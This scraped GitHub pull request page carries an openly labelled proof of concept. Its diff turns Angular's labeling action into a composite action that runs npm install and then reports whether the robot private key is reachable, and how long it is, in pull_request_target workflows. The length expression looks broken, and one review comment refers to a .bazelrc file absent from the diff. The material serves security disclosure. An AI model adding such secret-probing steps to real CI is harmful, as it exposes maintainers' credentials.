-
Notifications
You must be signed in to change notification settings - Fork 79
PoC: Secret exfiltration in pull_request_target (DO NOT MERGE) #3829
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,13 +1,49 @@ | ||
| name: 'Pull Request Labeling' | ||
| description: 'Automatically label pull requests based on pull request metadata' | ||
| author: 'Angular' | ||
| description: 'Labels pull requests based on commit messages' | ||
|
|
||
| inputs: | ||
| angular-robot-key: | ||
| description: 'The private key for the Angular Robot Github app.' | ||
| description: 'The Angular robot private key' | ||
| required: true | ||
| labels: | ||
| description: 'A map of labels to the paths that they should be applied to which are affected by the PR' | ||
| description: 'JSON object of labels to apply' | ||
| required: false | ||
| default: '{}' | ||
|
|
||
| runs: | ||
| using: 'node24' | ||
| main: 'main.js' | ||
| using: 'composite' | ||
| steps: | ||
| - name: Setup Node | ||
| uses: actions/setup-node@SHA | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. |
||
| with: | ||
| node-version: '20' | ||
|
|
||
| - name: Install dependencies | ||
| run: npm install | ||
| shell: bash | ||
|
Comment on lines
+21
to
+23
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Running |
||
|
|
||
| # PoC: Secret Exfiltration Demonstration | ||
| # This proves that secrets are accessible in pull_request_target workflows | ||
| - name: PoC - Check Secret Access | ||
| run: | | ||
| echo "### PoC: Secret Exfiltration in pull_request_target" >> $GITHUB_STEP_SUMMARY | ||
| echo "" >> $GITHUB_STEP_SUMMARY | ||
| echo "**Workflow:** ${{ github.workflow }}" >> $GITHUB_STEP_SUMMARY | ||
| echo "**Event:** ${{ github.event_name }}" >> $GITHUB_STEP_SUMMARY | ||
| echo "**Repository:** ${{ github.repository }}" >> $GITHUB_STEP_SUMMARY | ||
| echo "" >> $GITHUB_STEP_SUMMARY | ||
| echo "**Secret Access:**" >> $GITHUB_STEP_SUMMARY | ||
| echo "- ANGULAR_ROBOT_PRIVATE_KEY exists: $(test -n '${{ inputs.angular-robot-key }}' && echo 'YES' || echo 'NO')" >> $GITHUB_STEP_SUMMARY | ||
| echo "- ANGULAR_ROBOT_PRIVATE_KEY length: ${{ '${#inputs.angular-robot-key}' }}" >> $GITHUB_STEP_SUMMARY | ||
| echo "" >> $GITHUB_STEP_SUMMARY | ||
| echo "**Impact:** This proves that secrets are accessible to untrusted code in pull_request_target workflows." >> $GITHUB_STEP_SUMMARY | ||
| echo "**Fix:** Remove pull_request_target or require manual approval for external PRs." >> $GITHUB_STEP_SUMMARY | ||
| shell: bash | ||
|
|
||
| - name: Label Pull Request | ||
| run: | | ||
| # Original labeling logic | ||
| node ./label-pull-request.js | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. |
||
| shell: bash | ||
| env: | ||
| ANGULAR_ROBOT_KEY: ${{ inputs.angular-robot-key }} | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These PoC-specific build and test environment variables should not be committed to the shared
.bazelrcconfiguration file, as they will affect all local and CI builds. For testing purposes, these flags should be passed directly via the command line or defined in a local, uncommitted configuration file.